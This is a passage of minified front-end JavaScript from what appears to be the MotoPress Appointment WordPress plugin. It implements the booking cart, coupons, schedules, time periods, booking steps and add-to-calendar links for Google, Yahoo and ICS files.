e!==this.getHash(t)}setCustomerDetails(e){jQuery.extend(this.customerDetails,e)}setPaymentDetails(e){jQuery.extend(this.paymentDetails,e)}reset(){this.setupProperties()}getMinDate(){let e=null;return this.items.forEach((t=>{t.date&&(!e||e>t.date)&&(e=new Date(t.date.getTime()))})),e||v()}getServiceIds(){let e=this.items.map((e=>null!=e.service?e.service.id:0));return e=i(e),e}updateServices(e){for(let t of e)this.items.forEach((e=>{null!=e.service&&e.service.id===t.id&&(e.service=t)}))}setCoupon(e){this.coupon=e}removeCoupon(){this.coupon=null}hasCoupon(){return null!=this.coupon}testCoupon(){this.hasCoupon()&&!this.coupon.isApplicableForCart(this)&&this.removeCoupon()}getBookingNonce(){return this.bookingNonce}setBookingNonce(e){this.bookingNonce=e}}class R{constructor(e,t={}){this.id=e,this.setupProperties(),this.setupValues(t)}setupProperties(){}setupValues(e){for(let t in e)this[t]=e[t]}getId(){return this.id}}class O extends R{setupProperties(){super.setupProperties(),this.name=\"\"}}class N extends R{setupProperties(){super.setupProperties(),this.name=\"\"}}class V extends R{setupProperties(){super.setupProperties(),this.name=\"\",this.price=0,this.depositType=\"disabled\",this.depositAmount=0,this.duration=0,this.bufferTimeBefore=0,this.bufferTimeAfter=0,this.timeBeforeBooking=\"\",this.maxAdvanceTimeBeforeReservation=\"\",this.minCapacity=1,this.maxCapacity=1,this.multiplyPrice=!1,this.isGroupServiceEnabled=!1,this.customQuantityLabel=\"\",this.variations={},this.image=\"\",this.thumbnail=\"\"}getName(){return this.name}getPrice(e=0,t=0){t||(t=this.minCapacity);let s=this.getVariation(\"price\",e,this.price);return this.multiplyPrice&&(s*=t),s}getDuration(e=0){return this.getVariation(\"duration\",e,this.duration)}getMinCapacity(e=0){return this.getVariation(\"min_capacity\",e,this.minCapacity)}getMaxCapacity(e=0){return this.getVariation(\"max_capacity\",e,this.maxCapacity)}getVariation(e,t,s){return t in this.variations?this.variations[t][e]:s}setName(e){this.name=e}isGroupService(){return this.isGroupServiceEnabled}getCustomQuantityLabel(){return this.customQuantityLabel}getQuantityLabel(){return\"\"!==this.customQuantityLabel?this.getCustomQuantityLabel():u(\"Clients\",\"motopress-appointment\")}}class q{static loadInBackground(e,t,s=!1){return t.findById(e.id,s).then((t=>{if(null!==t)for(let s in t)e[s]=t[s];return t}))}}class U extends R{setupProperties(){super.setupProperties(),this.status=\"new\",this.code=\"\",this.description=\"\",this.type=\"fixed\",this.amount=0,this.expirationDate=null,this.serviceIds=[],this.minDate=null,this.maxDate=null,this.usageLimit=0,this.usageCount=0}setupValues(e){for(let t of[\"expirationDate\",\"minDate\",\"maxDate\"]){let s=e[t];null!=s&&\"\"!==s&&(this[t]=b(s)),delete e[t]}super.setupValues(e)}getCode(){return this.code}isApplicableForCart(e){let t=!1;return e.items.forEach((e=>{if(this.isApplicableForCartItem(e))return t=!0,!1})),t}isApplicableForCartItem(e){return!!e.isSet()&&(!(this.serviceIds.length>0&&-1==this.serviceIds.indexOf(e.service.id))&&(!(null!=this.minDate&&e.date\u003Cthis.minDate)&&!(null!=this.maxDate&&e.date>this.maxDate)))}calcDiscountAmount(e){let t=this.calcDiscountForCart(e);return Math.min(t,e.getSubtotalPrice())}calcDiscountForCart(e){let t=0;return e.items.forEach((e=>{t+=this.calcDiscountForCartItem(e)})),t}calcDiscountForCartItem(e){let t=0;if(this.isApplicableForCartItem(e)){let s=e.getPrice();switch(this.type){case\"fixed\":t=this.amount;break;case\"percentage\":t=s*this.amount\u002F100}t=Math.min(t,s)}return t}}function H(e){return!!e}function j(e){let t=parseInt(e);return isNaN(t)?e\u003C\u003C0:t}class W{constructor(e){var t;this.postType=e,this.entityType=0===(t=e).indexOf(\"mpa_\")?t.substring(4):0===t.indexOf(\"_mpa_\")?t.substring(5):t,this.savedEntities={}}findById(e,t=!1){return e?!t&&this.haveEntity(e)&&null!=this.getEntity(e)?Promise.resolve(this.getEntity(e)):this.requestEntity(e).then((t=>{let s=this.mapRestDataToEntity(t);return this.saveEntity(e,s),s}),(t=>(this.saveEntity(e,null),null))):Promise.resolve(null)}findAll(e,t=!1){let s=[],i=[];for(let a of e)this.haveEntity(a)&&!t?i.push(this.getEntity(a)):s.push(a);return 0===s.length?Promise.resolve(i):this.requestEntities(s).then((e=>{for(let t of e){let e=this.mapRestDataToEntity(t);this.saveEntity(e.id,e),i.push(e)}return i}),(e=>[]))}requestEntity(e){return h(this.getRoute(),{id:e})}requestEntities(e){return h(this.getRoute(),{id:e})}haveEntity(e){return e in this.savedEntities}getEntity(e){return this.savedEntities[e]||null}saveEntity(e,t){this.savedEntities[e]=t}mapRestDataToEntity(e){return null}getRoute(){return`\u002F${this.entityType}s`}}class G extends W{findByCode(e,t=!1){return h(this.getRoute(),{code:e}).then((e=>{let t=this.mapRestDataToEntity(e);return this.saveEntity(t.getId(),t),t}),(e=>{if(t)return null;throw e}))}mapRestDataToEntity(e){return new U(e.id,e)}}function z(e,t=\"public\"){return f(e,\"internal\"==t?\"H:i\":\"public\"==t?m().settings().getTimeFormat():t)}function Q(e){let t=e.split(\":\"),s=parseInt(t[0]),i=parseInt(t[1]),a=v();return a.setHours(s,i),a}class Y{constructor(e,t=null){this.setupProperties(),null==t?this.parsePeriod(e):(this.setStartTime(e),this.setEndTime(t))}setupProperties(){this.startTime=null,this.endTime=null}parsePeriod(e){let t=e.split(\" - \");this.setStartTime(t[0]),this.setEndTime(t[1])}setStartTime(e){this.startTime=\"string\"==typeof e?Q(e):new Date(e)}setEndTime(e){this.endTime=\"string\"==typeof e?Q(e):new Date(e),0===this.endTime.getHours()&&0===this.endTime.getMinutes()&&this.startTime.getFullYear()===this.endTime.getFullYear()&&this.startTime.getMonth()===this.endTime.getMonth()&&this.startTime.getDate()===this.endTime.getDate()&&this.endTime.setDate(this.endTime.getDate()+1)}setDate(e){this.startTime.setFullYear(e.getFullYear()),this.startTime.setMonth(e.getMonth(),e.getDate()),this.endTime.setFullYear(e.getFullYear()),this.endTime.setMonth(e.getMonth(),e.getDate()),0===this.endTime.getHours()&&0===this.endTime.getMinutes()&&this.startTime.getFullYear()===this.endTime.getFullYear()&&this.startTime.getMonth()===this.endTime.getMonth()&&this.startTime.getDate()===this.endTime.getDate()&&this.endTime.setDate(this.endTime.getDate()+1)}intersectsWith(e){return this.startTime\u003Ce.endTime&&this.endTime>e.startTime}isSubperiodOf(e){return this.startTime>=e.startTime&&this.endTime\u003C=e.endTime}mergePeriod(e){this.startTime.setTime(Math.min(this.startTime.getTime(),e.startTime.getTime())),this.endTime.setTime(Math.max(this.endTime.getTime(),e.endTime.getTime()))}diffPeriod(e){this.startTime\u003Ce.startTime?this.endTime.setTime(Math.min(e.startTime.getTime(),this.endTime.getTime())):this.startTime.setTime(Math.max(e.endTime.getTime(),this.startTime.getTime()))}splitByPeriod(e){let t=[];return e.startTime.getTime()-this.startTime.getTime()>0&&t.push(new Y(this.startTime,e.startTime)),this.endTime.getTime()-e.endTime.getTime()>0&&t.push(new Y(e.endTime,this.endTime)),t}isEmpty(){return this.endTime.getTime()-this.startTime.getTime()\u003C=0}toString(e=\"public\",t=\" - \"){\"internal\"==e&&(t=\" - \");let s=\"short\"==e?\"public\":e,i=z(this.startTime,s),a=z(this.endTime,s);return\"internal\"!==e&&0===this.startTime.getHours()&&0===this.startTime.getMinutes()&&i===a?u(\"All day\",\"motopress-appointment\"):\"short\"==e&&i==a?i:i+t+a}}class K extends R{setupProperties(){super.setupProperties(),this.serviceId=0,this.date=null,this.serviceTime=null,this.bufferTime=null}setupValues(e){for(let t in e)\"date\"==t?this.setDate(e[t]):\"serviceTime\"==t?this.setServiceTime(e[t]):\"bufferTime\"==t?this.setBufferTime(e[t]):this[t]=e[t]}setDate(e){this.date=\"string\"==typeof e?b(e):e,null!=this.serviceTime&&this.serviceTime.setDate(this.date),null!=this.bufferTime&&this.bufferTime.setDate(this.date)}setServiceTime(e){this.serviceTime=\"string\"==typeof e?new Y(e):e,null!=this.date&&this.serviceTime.setDate(this.date)}setBufferTime(e){this.bufferTime=\"string\"==typeof e?new Y(e):e,null!=this.date&&this.bufferTime.setDate(this.date)}}class Z extends W{mapRestDataToEntity(e){return new K(e.id,e)}}class J{constructor(e,t=null){this.setupProperties(),null==t?this.parsePeriod(e):(this.setStartDate(e),this.setEndDate(t))}setupProperties(){this.startDate=null,this.endDate=null}parsePeriod(e){let t=e.split(\" - \");this.setStartDate(t[0]),this.setEndDate(t[1])}setStartDate(e){this.startDate=this.convertToDate(e)}setEndDate(e){this.endDate=this.convertToDate(e)}convertToDate(e){return\"string\"==typeof e?b(e)||v():new Date(e)}calcDays(){let e=this.endDate.getTime()-this.startDate.getTime();return Math.round(e\u002F1e3\u002F3600\u002F24)}inPeriod(e){return\"string\"==typeof e&&(e=b(e)),null!=e&&e>=this.startDate&&e\u003C=this.endDate}splitToDates(){let e={};for(let t=new Date(this.startDate);t\u003C=this.endDate;t.setDate(t.getDate()+1)){let s=f(t,\"internal\"),i=new Date(t);e[s]=i}return e}toString(){return f(this.startDate,\"internal\")+\" - \"+f(this.endDate,\"internal\")}}class X extends R{setupProperties(){super.setupProperties(),this.timetable=[],this.workTimetable=[],this.customWorkdays=[],this.daysOff={}}setupValues(e){for(let t in e)\"timetable\"==t?this.setTimetable(e[t]):\"customWorkdays\"==t?this.setCustomWorkdays(e[t]):\"daysOff\"==t?this.setDaysOff(e[t]):this[t]=e[t]}setTimetable(e){this.timetable=[],this.workTimetable=[],e.forEach((e=>{let t=[],s=[];e.forEach((e=>{let i=new Y(e.time_period);t.push({time_period:i,location:e.location,activity:e.activity}),\"work\"==e.activity&&s.push({time_period:i,location:e.location})})),this.timetable.push(t),this.workTimetable.push(s)}))}setCustomWorkdays(e){this.customWorkdays=[];for(let t of e)this.customWorkdays.push({date_period:new J(t.date_period),time_period:new Y(t.time_period)})}setDaysOff(e){this.daysOff={};for(let t of e){let e=new J(t).splitToDates();jQuery.extend(this.daysOff,e)}}isDayOff(e){return\"string\"!=typeof e&&(e=f(e,\"internal\")),e in this.daysOff}getWorkingHours(e,t=0){if(this.isDayOff(e))return[];if(\"string\"==typeof e&&(e=b(e)),null==e)return[];let s=[],i=e.getDay();for(let e of this.workTimetable[i])0!=t&&e.location!=t||s.push(e.time_period);for(let t of this.customWorkdays)t.date_period.inPeriod(e)&&s.push(t.time_period);return s}}class ee extends W{mapRestDataToEntity(e){return new X(e.id,e)}}class te extends W{mapRestDataToEntity(e){return new V(e.id,e)}}class se{constructor(){this.repositories={}}schedule(){return null==this.repositories.schedule&&(this.repositories.schedule=new ee(\"mpa_schedule\")),this.repositories.schedule}service(){return null==this.repositories.service&&(this.repositories.service=new te(\"mpa_service\")),this.repositories.service}reservation(){return null==this.repositories.reservation&&(this.repositories.reservation=new Z(\"mpa_reservation\")),this.repositories.reservation}coupon(){return null==this.repositories.coupon&&(this.repositories.coupon=new G(\"mpa_coupon\")),this.repositories.coupon}customer(){return void 0===this.repositories.customer&&(this.repositories.customer=new CustomerRepository),this.repositories.customer}static getInstance(){return null==se.instance&&(se.instance=new se),se.instance}}function ie(){return se.getInstance()}let ae=null;function re(e,t){const s=[];for(const i of e){const e=t.includes(i.slug),a=Array.isArray(i.children)?i.children:[],r=a.length?re(a,t):[];(e||r.length>0)&&s.push({...i,children:r})}return s}function ne(e){let t=[];for(const s of e)s.slug&&t.push(s.slug),Array.isArray(s.children)&&(t=t.concat(ne(s.children)));return t}function oe(e,t=[],s=null,i=0){const a=[],r=new Map(t.map(((e,t)=>[e,t]))),n=[...e].sort(((e,t)=>{var s,i;return(null!==(s=r.get(e.slug))&&void 0!==s?s:Number.MAX_SAFE_INTEGER)-(null!==(i=r.get(t.slug))&&void 0!==i?i:Number.MAX_SAFE_INTEGER)}));for(const e of n)Array.isArray(s)&&!s.includes(e.slug)||(a.push({id:e.slug,name:\"&nbsp;&nbsp;\".repeat(i)+e.name}),Array.isArray(e.children)&&a.push(...oe(e.children,t,s,i+1)));return a}function le(e){return H(e)}class he{setupProperties(){this.availability={},this.services={},this.serviceCategories={},this.employees={},this.locations={},this.servicePromise=null,this.readyPromise=null,this.serviceIndexes=[],this.categoryIndexes=[],this.employeeIndexes=[],this.locationIndexes=[]}constructor(){this.setupProperties()}load(e=!1){return this.readyPromise=function(e=!1){return(e||null==ae)&&(ae=h(\"\u002Fservices\u002Favailable\").catch((e=>(console.error(\"Unable to extract available services.\"),{})))),ae}(e).then((e=>{const{services:t,services_order:s,categories_order:i,employees_order:a,locations_order:r,categories_tree:n}=e;return this.setServiceIndexes(s||[]),this.setCategoryIndexes(i||[]),this.setEmployeeIndexes(a||[]),this.setLocationIndexes(r||[]),this.setServiceCategoriesTree(n||{}),this.setAvailability(t),this})),this.readyPromise}setServiceCategoriesTree(e){this.categories_tree=e}setServiceIndexes(e){this.serviceIndexes=e}setCategoryIndexes(e){this.categoryIndexes=e}setEmployeeIndexes(e){this.employeeIndexes=e}setLocationIndexes(e){this.locationIndexes=e}setAvailability(e){this.availability=e;for(let t in e){let s=e[t];this.services[t]=s.name;for(let e in s.categories){let t=s.categories[e];this.serviceCategories[e]=t}for(let e in s.employees){let t=s.employees[e];this.employees[e]=t.name;for(let e in t.locations){let s=t.locations[e];this.locations[e]=s}}}}isEmpty(){return F(this.availability)}ready(){return null===this.readyPromise&&this.load(),this.readyPromise}getServicePromise(){return this.servicePromise}getService(e,t=!0,s=null){let i=new V(e);return this.services.hasOwnProperty(e)&&i.setName(this.services[e]),!0===t?(this.servicePromise=q.loadInBackground(i,ie().service()),null!==s&&this.servicePromise.then(s),this.servicePromise.then((()=>i))):this.servicePromise=null,i}getServiceCategories(e){return this.availability[e].categories}getServiceCategoriesTree(){return this.categories_tree||{}}getEmployee(e){let t=new O(e);return this.employees.hasOwnProperty(e)&&(t.name=this.employees[e]),t}getLocation(e){let t=new N(e);return this.locations.hasOwnProperty(e)&&(t.name=this.locations[e]),t}getAvailableServices(e=\"\",t=0,s=0){let i={};for(let a in this.availability){let r=this.availability[a];if(\"\"===e||e in r.categories){if(0!==t){let e=!1;if(Object.keys(r.employees).forEach((s=>{r.employees[s].locations.hasOwnProperty(t)&&(e=!0)})),!e)continue}(0===s||s in r.employees)&&(i[a]=r.name)}}return i}getAvailableServiceCategories(){let e={};for(let t in this.availability){let s=this.availability[t];jQuery.extend(e,s.categories)}return e}getAvailableEmployees(e=0,t=0){let s={};for(let i in this.availability){if(0!=e&&i!=e)continue;let a=this.availability[i];for(let e in a.employees){let i=a.employees[e];(0===t||t in i.locations)&&(s[e]=i.name)}}return s}getAvailableLocations(e=0,t=0){let s={};for(let i in this.availability){if(0!=e&&i!=e)continue;let a=this.availability[i];for(let e in a.employees){if(0!=t&&e!=t)continue;let i=a.employees[e];jQuery.extend(s,i.locations)}}return s}isAvailableServiceCategory(e){return this.getAvailableServiceCategories().hasOwnProperty(e)}isAvailableService(e){return this.getAvailableServices().hasOwnProperty(e)}isAvailableLocation(e){return this.getAvailableLocations().hasOwnProperty(e)}isAvailableEmployee(e){return this.getAvailableEmployees().hasOwnProperty(e)}filterAvailableEmployees(e,t=0,s=\"ids\"){if(!(e in this.availability))return[];let i=[];Array.isArray(t)?i=t.filter(le):0!==t&&i.push(t);let r=[];for(let t in this.availability[e].employees){t=j(t);let s=this.availability[e].employees[t];if(0===i.length)r.push(t);else{a(i,Object.keys(s.locations).map(j)).length>0&&r.push(t)}}return 0===r.length?[]:\"entities\"===s?r.map((e=>this.getEmployee(e))):r}filterAvailableLocations(e,t=0,s=\"ids\"){if(!(e in this.availability))return[];let a=[];Array.isArray(t)?a=t.filter(le):0!==t&&a.push(t);let r=[];for(t in this.availability[e].employees){if(t=j(t),a.length>0&&-1===a.indexOf(t))continue;let s=this.availability[e].employees[t];for(let e in s.locations)r.push(j(e))}return r=i(r),0===r.length?[]:\"entities\"===s?r.map((e=>this.getLocation(e))):r}}class ce{constructor(e){this.cart=e,this.steps=new M,this.currentStep=null,this.currentStepId=\"\"}addStep(e){return this.steps.push(e.stepId,e),this}getStep(e){return this.steps.find(e)}mount(e){this.addListeners(e)}addListeners(e){e.children(\".mpa-booking-step\").on(\"mpa_booking_step_next\",((e,t)=>this.onStep(\"next\",t))).on(\"mpa_booking_step_back\",((e,t)=>this.onStep(\"back\",t))).on(\"mpa_booking_step_new\",((e,t)=>this.onStep(\"new\",t))).on(\"mpa_reset_booking\",((e,t)=>this.onStep(\"reset\",t)))}onStep(e,t){if(!t||!t.step||t.step===this.currentStepId)switch(e){case\"next\":this.goToNextStep();break;case\"back\":this.goToPreviousStep();break;case\"new\":this.goToFirstStep();break;case\"reset\":this.reset()}}goToNextStep(){if(this.steps.isEmpty())return;let e=this.currentStep?this.steps.findNextKey(this.currentStepId):this.steps.firstKey();e!==this.currentStepId&&(this.switchStep(e),this.skipNextHiddenSteps())}skipNextHiddenSteps(){null!==this.currentStep&&this.currentStep.ready().finally((()=>{this.currentStep.isHiddenStep&&this.currentStep.submit()}))}goToPreviousStep(){if(this.steps.isEmpty())return;let e=this.currentStep?this.steps.findPreviousKey(this.currentStepId):\"\";e&&e!==this.currentStepId&&(this.switchStep(e),this.skipPreviousHiddenSteps())}skipPreviousHiddenSteps(){null!==this.currentStep&&this.currentStep.ready().finally((()=>{this.currentStep.isHiddenStep&&this.currentStep.cancel()}))}goToFirstStep(){if(this.steps.isEmpty())return;this.cart.createItem(),this.steps.forEach((e=>{\"cart item\"===e.getCartContext()&&e.reset()}));let e=this.steps.firstKey();this.switchStep(e),this.skipNextHiddenSteps()}goToStep(e){this.switchStep(e)}getFirstVisibleStepId(){let e=null;return this.steps.forEach((t=>{if(!1===t.isHiddenStep)return e=t.stepId,!1})),e}isFirstVisibleStepId(e){return this.getFirstVisibleStepId()===e}switchStep(e){let t=this.steps.find(e);null!=t&&(this.isFirstVisibleStepId(e)&&t.hideButtonBack(),null!=this.currentStep&&this.currentStep.hide(),this.currentStep=t,this.currentStepId=e,t.load(),t.ready().finally((()=>t.show())))}reset(){this.cart.reset(),this.goToFirstStep(),this.steps.forEach((e=>{\"cart item\"!==e.getCartContext()&&e.reset()}))}}class pe{constructor(e,t){this.$element=e,this.cart=t,this.setupProperties(),this.addListeners()}setupProperties(){this.stepId=this.theId(),this.schema=this.propertiesSchema(),this.isActive=!1,this.isLoaded=!1,this.isHiddenStep=!1,this.preventReact=!1,this.preventUpdate=!1,this.hideButtons=!1,this.readyPromise=null,this.$buttons=this.$element.find(\".mpa-actions\"),this.$buttonBack=this.$buttons.find(\".mpa-button-back\"),this.$buttonNext=this.$buttons.find(\".mpa-button-next\")}theId(){return\"abstract\"}getCartContext(){return\"cart\"}propertiesSchema(){return{}}addListeners(){this.$buttonBack.on(\"click\",this.cancel.bind(this)),this.$buttonNext.on(\"click\",this.submit.bind(this))}load(){this.isLoaded?this.readyPromise=this.reload():(this.readyPromise=this.loadEntities(),this.isLoaded=!0)}loadEntities(){return Promise.resolve(this)}reload(){return Promise.resolve(this)}reset(){}ready(){return this.readyPromise}isValidInput(){return!1}setProperty(e,t){if(this.preventUpdate)return;let s=this.validateProperty(e,t);if(s===this[e])return;let i=this.preventReact;this.preventReact=!0,this.updateProperty(e,s),i||(this.isActive&&this.react(),this.preventReact=!1)}resetProperty(e){this.setProperty(e)}validateProperty(e,t){let s=t;if(e in this.schema){let i=this.schema[e];if(null==t)s=i.default;else{switch(i.type){case\"bool\":s=H(t);break;case\"integer\":s=j(t)}if(!F(s)&&null!=i.options){i.options.indexOf(s)>=0||(s=this[e])}}}else null==t&&(s=null);return s}updateProperty(e,t){let s=this[e];this[e]=t,this.afterUpdate(e,t,s)}afterUpdate(e,t,s){}react(){let e=this.isValidInput();this.$buttonNext.prop(\"disabled\",!e),this.hideButtons&&this.$buttons.toggleClass(\"mpa-hide\",!e)}show(){this.enable(),this.react(),this.$element.removeClass(\"mpa-hide\"),this.readyPromise.finally((()=>this.showReady()))}showReady(){this.$element.addClass(\"mpa-loaded\"),this.hideButtons||this.$buttons.removeClass(\"mpa-hide\")}hide(){this.disable(),this.$element.addClass(\"mpa-hide\")}enable(){this.isActive=!0,this.$buttonBack.prop(\"disabled\",!1),this.$buttonNext.prop(\"disabled\",!1)}disable(){this.isActive=!1,this.$buttonBack.prop(\"disabled\",!0),this.$buttonNext.prop(\"disabled\",!0)}cancel(e){void 0!==e&&e.stopPropagation(),this.isActive&&(this.disable(),this.triggerBack())}submit(e){if(void 0!==e&&e.stopPropagation(),!this.isActive||!this.isValidInput())return;this.disable();let t=this.maybeSubmit();null==t?this.triggerNext():\"object\"!=typeof t?t?this.triggerNext():this.cancelSubmission():t.then(this.triggerNext.bind(this),this.cancelSubmission.bind(this))}maybeSubmit(){}cancelSubmission(){this.enable(),this.react()}triggerBack(){this.$element.trigger(\"mpa_booking_step_back\",{step:this.stepId})}triggerNext(){this.$element.trigger(\"mpa_booking_step_next\",{step:this.stepId})}hideButtonBack(){this.$buttonBack.prop(\"disabled\",!0),this.$buttonBack.toggleClass(\"mpa-hide\",!0)}}class de{static calculateTimezoneOffset(e){if(\"UTC\"===e)return 0;const[t,s]=e.split(\":\").map(Number);if(isNaN(t)||isNaN(s))throw new Error(\"Unknown timezone format: \"+e);return 60*t+s}static applyTimezoneOffset(e,t){const s=new Date(e);return s.setMinutes(e.getMinutes()-t),s}static isTimezoneProvideByIANA(e){return\u002F^[A-Za-z]+\\\u002F[A-Za-z_]+(\\\u002F[A-Za-z_]+)?$\u002F.test(e)}static formatDateToCalendar(e){return e.toISOString().replace(\u002F-|:|\\.\\d{3}\u002Fg,\"\")}static formatDateToCalendarLocal(e){return e.toISOString().replace(\u002F-|:|\\.\\d{3}|Z\u002Fg,\"\")}static formatDateForOffsetTimeZone(e,t){const s=(new Date).getTimezoneOffset();let i=this.applyTimezoneOffset(e,s);const a=this.calculateTimezoneOffset(t);return i=this.applyTimezoneOffset(i,a),this.formatDateToCalendar(i)}static formatDateForIANATimeZone(e){const t=(new Date).getTimezoneOffset();let s=this.applyTimezoneOffset(e,t);return this.formatDateToCalendarLocal(s)}static formatDateForCalendar(e,t){return this.isTimezoneProvideByIANA(t)?this.formatDateForIANATimeZone(e):this.formatDateForOffsetTimeZone(e,t)}static createICSURL(e,t,s,i,a,r){const n=m().settings().getTimezone();let o=this.formatDateForCalendar(t,n),l=this.formatDateForCalendar(s,n);0===t.getHours()&&0===t.getMinutes()&&0===s.getHours()&&0===s.getMinutes()&&(o=o.replace(\u002FT\\d\\d\\d\\d\\d\\d|Z\u002Fg,\"\"),l=l.replace(\u002FT\\d\\d\\d\\d\\d\\d|Z\u002Fg,\"\"));const h=[\"BEGIN:VCALENDAR\",\"VERSION:2.0\",`PRODID:${m().settings().getBusinessName()}`];this.isTimezoneProvideByIANA(n)&&h.push(\"BEGIN:VTIMEZONE\",\"TZID:\"+n,\"END:VTIMEZONE\");let c={dtstamp:\"DTSTAMP:\"+this.formatDateToCalendar(new Date),uid:\"UID:\"+e,dtstart:\"DTSTART\"+(this.isTimezoneProvideByIANA(n)?\";TZID=\"+n+\":\":\":\")+o,dtend:\"DTEND\"+(this.isTimezoneProvideByIANA(n)?\";TZID=\"+n+\":\":\":\")+l,summary:\"SUMMARY:\"+i,description:\"DESCRIPTION:\"+a,location:\"LOCATION:\"+r};c=wp.hooks.applyFilters(\"mpa_prepare_vevent_data\",c);let p=Object.values(c);h.push(\"BEGIN:VEVENT\",...p,\"END:VEVENT\"),h.push(\"END:VCALENDAR\");const d=h.join(\"\\n\"),u=new Blob([d],{type:\"text\u002Fcalendar\"});return window.URL.createObjectURL(u)}static createGoogleCalendarURL(e,t,s,i,a){const r=new URL(\"https:\u002F\u002Fwww.google.com\u002Fcalendar\u002Frender\"),n=m().settings().getTimezone();let o=this.formatDateForCalendar(e,n),l=this.formatDateForCalendar(t,n);return 0===e.getHours()&&0===e.getMinutes()&&0===t.getHours()&&0===t.getMinutes()&&(o=o.replace(\u002FT\\d\\d\\d\\d\\d\\d|Z\u002Fg,\"\"),l=l.replace(\u002FT\\d\\d\\d\\d\\d\\d|Z\u002Fg,\"\")),r.search=new URLSearchParams({action:\"TEMPLATE\",text:s,dates:`${o}\u002F${l}`,details:i,location:a}).toString(),this.isTimezoneProvideByIANA(n)&&r.searchParams.append(\"ctz\",n),r.toString()}static createYahooCalendarURL(e,t,s,i,a){const r=new URL(\"https:\u002F\u002Fcalendar.yahoo.com\u002F\"),n=m().settings().getTimezone();let o=this.formatDateForCalendar(e,n),l=this.formatDateForCalendar(t,n),h={v:\"60\",view:\"d\",type:\"20\",title:s,desc:i,in_loc:a};return 0===e.getHours()&&0===e.getMinutes()&&0===t.getHours()&&0===t.getMinutes()?(h.st=o.replace(\u002FT\\d\\d\\d\\d\\d\\d|Z\u002Fg,\"\"),h.dur=\"allday\"):(h.st=o,h.et=l),r.search=new URLSearchParams(h).toString(),r.toString()}}class me{constructor(e,t){this.cart=t,this.$bookingDetailsSection=e,this.$bookingCartItems=this.$bookingDetailsSection.find(\".booking-reservations\"),this.$bookingCartItem=this.$bookingCartItems.find(\".reservation\"),this.$addToCalendarGoogle=this.$bookingCartItem.find(\".mpa-add-to-calendar-link--google\"),this.$addToCalendarApple=this.$bookingCartItem.find(\".mpa-add-to-calendar-link--apple\"),this.$addToCalendarOutlook=this.$bookingCartItem.find(\".mpa-add-to-calendar-link--outlook\"),this.$addToCalendarYahoo=this.$bookingCartItem.find(\".mpa-add-to-calendar-link--yahoo\")}assignURL(e,t){e.attr(\"href\",t)}initBookingCart(){this.$bookingCartItems.empty(),wp.hooks.doAction(\"mpa_booking_details_section_init\",this.$bookingDetailsSection,this.cart),this.cart.items.forEach((e=>{let t=this.$bookingCartItem.clone();this.$bookingCartItems.append(t);const s=e.getService(),i=s.getName(),a=e.employee.name+\". \"+s.getQuantityLabel()+\": \"+e.getCapacity()+\".\";let r=i;e.getCapacity()>1&&(r+=\" \",r+='\u003Cspan class=\"mpa-reservation-capacity\">',r+=s.getQuantityLabel()+\": \"+e.getCapacity(),r+=\"\u003C\u002Fspan>\"),t.find(\".reservation-title\").html(r),t.find(\".reservation-date\").html(f(e.date)),t.find(\".reservation-time\").html(e.time.toString());const n=de.createICSURL(e.getItemId(),e.time.startTime,e.time.endTime,i,a,wp.hooks.applyFilters(\"mpa_booking_cart_item_location_ics\",e.location.name,e)),o=de.createGoogleCalendarURL(e.time.startTime,e.time.endTime,i,a,wp.hooks.applyFilters(\"mpa_booking_cart_item_location_google\",e.location.name,e)),l=de.createYahooCalendarURL(e.time.startTime,e.time.endTime,i,a,wp.hooks.applyFilters(\"mpa_booking_cart_item_location_yahoo\",e.location.name,e));this.assignURL(t.find(\".mpa-add-to-calendar-link--google\"),o),this.assignURL(t.find(\".mpa-add-to-calendar-link--apple\"),n),this.assignURL(t.find(\".mpa-add-to-calendar-link--outlook\"),n),this.assignURL(t.find(\".mpa-add-to-calendar-link--yahoo\"),l)})),this.$bookingDetailsSection.toggleClass(\"mpa-hide\",!1)}reset(){this.$bookingDetailsSection.toggleClass(\"mpa-hide\",!0);const e=\"#\";this.assignURL(this.$addToCalendarGoogle,e),this.assignURL(this.$addToCalendarApple,e),this.assignURL(this.$addToCalendarOutlook,e),this.assignURL(this.$addToCalendarYahoo,e)}}class ue extends pe{setupProperties(){super.setupProperties(),this.hideButtons=!0,this.isPosted=!1,this.isBooked=!1,this.$message=this.$element.find(\".mpa-message\").first(),this.$buttonReset=this.$buttons.find(\".mpa-button-reset\"),this.$bookingDetails=this.$element.find(\".mpa-booking-details\").first(),this.$bookingDetails.length>0&&(this.bookingDetails=new me(this.$bookingDetails,this.cart))}reload(){return this.isPosted=!1,this.isBooked=!1,this.setMessage(u(\"Making a reservation...\",\"motopress-appointment\")+' \u003Cspan class=\"mpa-preloader\">\u003C\u002Fspan>'),this.bookingDetails&&this.bookingDetails.reset(),Promise.resolve(this)}addListeners(){super.addListeners(),this.$buttonReset.on(\"click\",this.resetForm.bind(this))}theId(){return\"booking\"}react(){this.isPosted&&(this.$buttons.removeClass(\"mpa-hide\"),this.$buttonBack.toggleClass(\"mpa-hide\",this.isBooked),this.$buttonReset.toggleClass(\"mpa-hide\",!this.isBooked||this.isRedirectNeeded()))}show(){super.show(),this.createBooking()}createBooking(){c(\"\u002Fbookings\",{...wp.hooks.applyFilters(\"mpa_booking_cart_data\",this.cart.toArray()),nonce:this.cart.getBookingNonce()}).then((e=>{this.isRedirectNeeded()?this.redirectPayment():(this.isPosted=this.isBooked=!0,this.cart.paymentDetails.booking_id=e.booking_id,wp.hooks.doAction(\"mpa_booking_cart_response\",e,this.cart),this.setMessage(e.message),this.bookingDetails&&this.bookingDetails.initBookingCart(),this.react())}),(e=>{this.isPosted=!0,this.setMessage(e.message),this.react()}))}showReady(){super.showReady(),this.$buttonBack.addClass(\"mpa-hide\"),this.$buttonReset.addClass(\"mpa-hide\")}setMessage(e){this.$message.html(e)}redirectPayment(){this.setMessage(u(\"You will be redirected to a secure page to complete the payment.\",\"motopress-appointment\"));let e=this.cart.getPaymentDetails();window.location.href=e.redirect_url}isRedirectNeeded(){let e=this.cart.getPaymentDetails();return\"redirect_url\"in e&&\"\"!=e.redirect_url}resetForm(e){e.preventDefault(),this.isPosted&&this.isBooked&&this.$element.trigger(\"mpa_reset_booking\")}}function ge(e){let t=\"\";for(let s in e)t+=\" \"+s+'=\"'+e[s]+'\"';return t}function ye(e,t={}){return\"\u003Cbutton\"+ge(t=jQuery.extend({},{type:\"button\",class:\"button\"},t))+\">\"+e+\"\u003C\u002Fbutton>\"}function fe(e,t){let 